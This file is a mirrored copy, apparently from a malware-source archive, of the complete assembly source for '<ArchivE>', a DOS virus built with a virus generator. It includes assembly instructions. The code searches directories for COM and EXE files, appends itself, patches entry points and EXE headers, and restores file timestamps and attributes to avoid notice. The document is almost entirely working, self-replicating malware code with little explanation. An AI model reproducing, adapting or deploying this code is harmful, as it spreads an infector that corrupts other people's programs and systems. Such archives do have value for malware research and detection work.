mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-27 09:28:25 +00:00
318 lines
9.1 KiB
NASM
318 lines
9.1 KiB
NASM
; Virus generated by Gý 0.70á
|
|
; Gý written by Dark Angel of Phalcon/Skism
|
|
|
|
; File: ARCHIVE.ASM
|
|
; <ArchivE> by <Gehenna>
|
|
|
|
id = 'FE'
|
|
|
|
.model tiny
|
|
.code
|
|
|
|
; Assemble with:
|
|
; TASM /m3 filename.ASM
|
|
; TLINK /t filename.OBJ
|
|
org 0100h
|
|
|
|
carrier:
|
|
db 0E9h,0,0 ; jmp start
|
|
|
|
start:
|
|
call next
|
|
next:
|
|
pop bp
|
|
sub bp, offset next
|
|
|
|
push ds
|
|
push es
|
|
|
|
mov ax, 3524h
|
|
int 0021h
|
|
push es
|
|
push bx
|
|
|
|
lea dx, [bp+INT24] ; ASSumes ds=cs
|
|
mov ax, 2524h
|
|
int 0021h
|
|
|
|
push cs
|
|
pop es
|
|
|
|
|
|
push cs
|
|
pop ds
|
|
|
|
push cs
|
|
pop es
|
|
|
|
mov ah, 001Ah ; Set DTA
|
|
lea dx, [bp+offset newDTA]
|
|
int 0021h
|
|
|
|
mov dl, 0000h ; Default drive
|
|
mov ah, 0047h ; Get directory
|
|
lea si, [bp+offset origdir+1]
|
|
int 0021h
|
|
|
|
push ds
|
|
push es
|
|
|
|
mov ax, 3521h ; get int 21h handler
|
|
int 0021h
|
|
|
|
push es
|
|
pop ds
|
|
xchg bx, dx
|
|
mov ax, 2503h ; set int 3 = int 21h handler
|
|
int 0021h
|
|
|
|
pop es
|
|
pop ds
|
|
lea di, [bp+offset origCSIP2]
|
|
lea si, [bp+offset origCSIP]
|
|
movsw
|
|
movsw
|
|
movsw
|
|
movsw
|
|
|
|
mov byte ptr [bp+numinfect], 0000h
|
|
traverse_loop:
|
|
lea dx, [bp+offset COMmask]
|
|
call infect
|
|
lea dx, [bp+offset EXEmask]
|
|
call infect
|
|
cmp [bp+numinfect], 0001h
|
|
jae exit_traverse ; exit if enough infected
|
|
|
|
mov ah, 003Bh ; CHDIR
|
|
lea dx, [bp+offset dot_dot] ; go to previous dir
|
|
int 0003h
|
|
jnc traverse_loop ; loop if no error
|
|
|
|
exit_traverse:
|
|
|
|
lea si, [bp+offset origdir]
|
|
mov byte ptr [si], '\'
|
|
xchg dx, si
|
|
mov ah, 003Bh ; restore directory
|
|
int 0003h
|
|
|
|
pop dx
|
|
pop ds
|
|
mov ax, 2524h
|
|
int 0003h
|
|
|
|
pop ds
|
|
pop es
|
|
|
|
mov dx, 0080h ; in the PSP
|
|
mov ah, 001Ah ; restore DTA to default
|
|
int 0003h
|
|
|
|
cmp sp, id
|
|
je restore_EXE
|
|
restore_COM:
|
|
mov di, 0100h
|
|
push di
|
|
lea si, [bp+offset old3_2]
|
|
mov cx, 0003h ; Caution: far from the most efficient
|
|
rep movsb ; routine
|
|
return:
|
|
ret
|
|
|
|
restore_EXE:
|
|
mov ax, es
|
|
add ax, 0010h
|
|
add cs:[bp+word ptr origCSIP2+2], ax
|
|
add ax, cs:[bp+word ptr origSPSS2]
|
|
cli
|
|
mov ss, ax
|
|
mov sp, cs:[bp+word ptr origSPSS2+2]
|
|
sti
|
|
db 00EAh
|
|
origCSIP2 db ?
|
|
old3_2 db ?,?,?
|
|
origSPSS2 dd ?
|
|
|
|
origCSIP db ?
|
|
old3 db 0cdh,20h,0
|
|
origSPSS dd ?
|
|
|
|
INT24:
|
|
mov al, 0003h
|
|
iret
|
|
|
|
infect:
|
|
mov cx, 0007h ; all files
|
|
mov ah, 004Eh ; find first
|
|
findfirstnext:
|
|
int 0003h
|
|
jc return
|
|
|
|
cmp word ptr [bp+newDTA+33], 'AM' ; Check if COMMAND.COM
|
|
mov ah, 004Fh ; Set up find next
|
|
jz findfirstnext ; Exit if so
|
|
|
|
mov ax, 4300h
|
|
lea dx, [bp+newDTA+30]
|
|
int 0003h
|
|
jc return
|
|
push cx
|
|
push dx
|
|
|
|
mov ax, 4301h ; clear file attributes
|
|
push ax ; save for later use
|
|
xor cx, cx
|
|
int 0003h
|
|
|
|
mov ax, 3D02h
|
|
lea dx, [bp+newDTA+30]
|
|
int 0003h
|
|
mov bx, ax ; xchg ax,bx is more efficient
|
|
|
|
mov ax, 5700h ; get file time/date
|
|
int 0003h
|
|
push cx
|
|
push dx
|
|
|
|
mov ah, 003Fh
|
|
mov cx, 001Ah
|
|
lea dx, [bp+offset readbuffer]
|
|
int 0003h
|
|
|
|
mov ax, 4202h
|
|
xor cx, cx
|
|
xor dx, dx
|
|
int 0003h
|
|
|
|
cmp word ptr [bp+offset readbuffer], 'ZM'
|
|
jz checkEXE
|
|
|
|
mov cx, word ptr [bp+offset readbuffer+1] ; jmp location
|
|
add cx, heap-start+3 ; convert to filesize
|
|
cmp ax, cx ; equal if already infected
|
|
jz jmp_close
|
|
|
|
cmp ax, 65535-(endheap-start) ; check if too large
|
|
ja jmp_close ; Exit if so
|
|
|
|
lea si, [bp+offset readbuffer]
|
|
lea di, [bp+offset old3]
|
|
movsw
|
|
movsb
|
|
|
|
mov cx, 0003h
|
|
sub ax, cx
|
|
mov word ptr [bp+offset readbuffer+1], ax
|
|
mov dl, 00E9h
|
|
mov byte ptr [bp+offset readbuffer], dl
|
|
jmp short continue_infect
|
|
checkEXE:
|
|
cmp word ptr [bp+offset readbuffer+10h], id
|
|
jnz skipp
|
|
jmp_close:
|
|
jmp close
|
|
skipp:
|
|
|
|
lea si, [bp+readbuffer+14h]
|
|
lea di, [bp+origCSIP]
|
|
movsw ; Save original CS and IP
|
|
movsw
|
|
|
|
sub si, 000Ah
|
|
movsw ; Save original SS and SP
|
|
movsw
|
|
|
|
push bx ; save file handle
|
|
mov bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs
|
|
mov cl, 0004h
|
|
shl bx, cl
|
|
|
|
push dx ; Save file size on the
|
|
push ax ; stack
|
|
|
|
sub ax, bx ; File size - Header size
|
|
sbb dx, 0000h ; DX:AX - BX -> DX:AX
|
|
|
|
mov cx, 0010h
|
|
div cx ; DX:AX/CX = AX Remainder DX
|
|
|
|
mov word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
|
|
mov word ptr [bp+readbuffer+14h], dx ; IP Offset
|
|
mov word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.
|
|
mov word ptr [bp+readbuffer+10h], id ; Initial SP
|
|
|
|
pop ax ; Filelength in DX:AX
|
|
pop dx
|
|
|
|
add ax, heap-start
|
|
adc dx, 0000h
|
|
|
|
mov cl, 0009h
|
|
push ax
|
|
shr ax, cl
|
|
ror dx, cl
|
|
stc
|
|
adc dx, ax
|
|
pop ax
|
|
and ah, 0001h
|
|
|
|
mov word ptr [bp+readbuffer+2], ax ; the EXE header.
|
|
mov word ptr [bp+readbuffer+4], dx ; Fix-up the file size in
|
|
|
|
pop bx ; restore file handle
|
|
mov cx, 001Ah
|
|
|
|
continue_infect:
|
|
push cx ; save # bytes to write
|
|
|
|
mov cx, heap-start
|
|
lea dx, [bp+offset start]
|
|
mov ah, 0040h ; concatenate virus
|
|
int 0003h
|
|
|
|
xor cx, cx
|
|
mov ax, 4200h
|
|
cwd
|
|
int 0003h
|
|
|
|
|
|
mov ah, 0040h
|
|
pop cx
|
|
lea dx, [bp+offset readbuffer]
|
|
int 0003h
|
|
|
|
inc [bp+numinfect]
|
|
|
|
close:
|
|
mov ax, 5701h ; restore file time/date
|
|
pop dx
|
|
pop cx
|
|
int 0003h
|
|
|
|
mov ah, 003Eh
|
|
int 0003h
|
|
|
|
pop ax ; restore file attributes
|
|
pop dx ; get filename and
|
|
pop cx ; attributes from stack
|
|
int 0003h
|
|
|
|
mov ah, 004Fh ; find next
|
|
jmp findfirstnext
|
|
|
|
dot_dot db '..',0
|
|
EXEmask db '*.EXE',0
|
|
COMmask db '*.COM',0
|
|
creator db '<Gehenna>',0
|
|
virusname db '<ArchivE>',0
|
|
|
|
|
|
heap:
|
|
newDTA db 43 dup (?)
|
|
origdir db 65 dup (?)
|
|
numinfect db ?
|
|
readbuffer db 1ah dup (?)
|
|
endheap:
|
|
end carrier
|